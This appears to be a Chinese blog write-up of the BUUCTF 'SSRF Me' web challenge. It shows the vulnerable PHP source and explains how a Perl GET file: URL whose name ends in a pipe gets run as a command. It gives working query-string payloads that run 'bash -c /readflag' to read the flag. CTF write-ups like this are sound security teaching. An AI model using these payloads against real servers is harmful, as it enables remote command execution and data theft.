BUUCTF WEB SSRF ME

本文详细介绍了PHP中的一个命令执行漏洞,该漏洞源于不安全地使用`shell_exec()`函数,允许攻击者通过URL参数执行任意命令。通过构造特定的payload,可以实现命令执行并读取敏感文件。示例中展示了如何利用`bash-c`命令来绕过限制,并给出了利用此漏洞的测试案例。视频链接提供了进一步的解释。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这题没啥好说的,简简单单一个命令执行漏洞

10.244.80.46<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

出问题的语句就一句

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

他会把url里面的东西当成命令来执行,他调用的是perl解析器来进行的解析执行,所以究其本质,是perl的问题
小test:
(这是get的正常用法和perl的命令执行没关系)

?url=/&filename=123

相当于执行了GET /,读取了/目录下的所有文件,输出到沙盒目录下的123,没有会自动在当前目录下创建一个
算沙盒目录:orange10.244.80.46的md5值230317844a87b41e353b096d0d6a5145
目录sandbox/230317844a87b41e353b096d0d6a5145
执行payload访问sandbox/230317844a87b41e353b096d0d6a5145/123,成功输出
我们要的是命令执行,因此需要构造bash -c之类的文件名
先给payload再分析
?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=456
解释一下为什么是两段,因为这个漏洞的前提之一是你file后面的文件名必须是真实存在的,所以第一个payload的作用是生成一个文件名为
bash -c /readflag|的文件,触发他的是@file_put_contents(basename($info["basename"]), $data);
至于为什么有个管道符,这跟这个漏洞的原理有点关系,当第二次执行
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));的时候由于检测到了bash -c /readflag|同名文件,于是调用了file.pm里面的方法
但是里面的代码会有一个>而这个管道符|是为了闭合这个>的,所以你搜payload的test的时候,文件名都会在最前或者最后加一个管道符来闭合这个>
于是成功执行了bash -c /readflag命令,并将结果输出到了456文件中
同理查找拿到flag
参考视频链接:https://www.bilibili.com/video/BV1AS4y1D75Y/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值